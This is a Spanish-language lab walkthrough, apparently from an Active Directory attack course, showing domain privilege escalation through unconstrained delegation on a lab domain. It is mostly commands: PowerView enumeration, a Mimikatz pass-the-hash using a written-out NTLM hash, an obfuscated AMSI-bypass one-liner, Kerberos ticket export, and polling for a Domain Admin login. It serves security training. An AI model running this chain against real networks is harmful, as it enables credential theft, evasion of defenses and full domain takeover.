# 17. Domain Privilege Escalation Unconstrained Delegation Task - Find a server in the dcorp domain where Unconstrained Delegation is enabled. - Access that server, wait for a Domain Admin to connect to that server and get Domain Admin privileges. Solución: Primero tenemos que encontrar un servidor que tenga activada la delegación sin restricciones: ``` PS C:\AD\Tools> Get-NetComputer -Unconstrained | select -ExpandProperty name ``` Dado que el prerrequisito para la elevación utilizando Unconstrained Delegation es tener acceso de administrador a la máquina, necesitamos comprometer un usuario que tenga acceso de administrador local en appsrv. Recordemos que extrajimos el hash NTLM de appadmin, srvadmin y websvc de dcorp-adminsrv. Vamos a comprobar si alguno de ellos tiene privilegios de administrador local en dcom-appsrv: ``` PS C:\WINDOWS\system32> powershell -ep bypass PS C:\WINDOWS\system32> cd C:\AD\Tools\ PS C:\AD\Tools> . .\Invoke-Mimikatz.ps1 PS C:\AD\Tools> Invoke-Mimikatz -Command '"sekurlsa::pth /user:appadmin /domain:dollarcorp.moneycorp.local /ntlm:d549831a955fee51a43c83efb3928fa7 /run:powershell.exe"' ``` ``` mimikatz(powershell) # sekurlsa::pth /user:appadmin /domain:dollarcorp.moneycorp.local /ntlm:d549831a955fee51a43c83efb3928fa7 /run:powershell.exe ``` ``` PS C:\AD\Tools> . .\PowerView.ps1 PS C:\AD\Tools> Find-LocalAdminAccess ``` Muy bien. Ahora, vamos a ejecutar el siguiente comando mimikatz en la nueva sesión de PowerShell que se ejecuta como appadmin para comprobar si hay un ticket de Administrador de Dominio ya presente en ella: ``` PS C:\Windows\system32> powershell -ep bypass Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. PS C:\Windows\system32> $sess = New-PSSession -ComputerName dcorp-appsrv.dollarcorp.moneycorp.local PS C:\AD\Tools> Enter-PSSession -Session $sess ``` ``` [dcorp-appsrv]: PS C:\Users\appadmin\Documents> sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT- VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" - f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} ) [dcorp-appsrv]: PS C:\Users\appadmin\Documents> exit ``` ``` PS C:\Windows\system32> Invoke-Command -FilePath C:\AD\Tools\Invoke-Mimikatz.ps1 -Session $sess PS C:\Windows\system32> Enter-PSSession -Session $sess [dcorp-appsrv]: PS C:\Users\appadmin\Documents> ``` Crea un directorio userx: ``` [dcorp-appsrv]: PS C:\Users\appadmin\Documents> mkdir userx [dcorp-appsrv]: PS C:\Users\appadmin\Documents> cd .\userx [dcorp-appsrv]: PS C:\Users\appadmin\Documents\userx> Invoke-Mimikatz -Command '"sekurlsa::tickets /export"' ``` ``` [dcorp-appsrv.dollarcorp.moneycorp.local]: PS C:\Users\appadmin\Documents\user1> ls | select name ``` No hubo suerte. Tenemos que esperar o engañar a un DA para acceder a un recurso en dcorp-adminsrv. Podemos usar el siguiente comando siguiente comando de PowerView para esperar a que un determinado DA acceda a un recurso en dcorp-adminsrv: ``` PS C:\AD\Tools> Invoke-UserHunter -ComputerName dcorp-appsrv -Poll 100 -UserName Administrator -Delay 5 -Verbose ```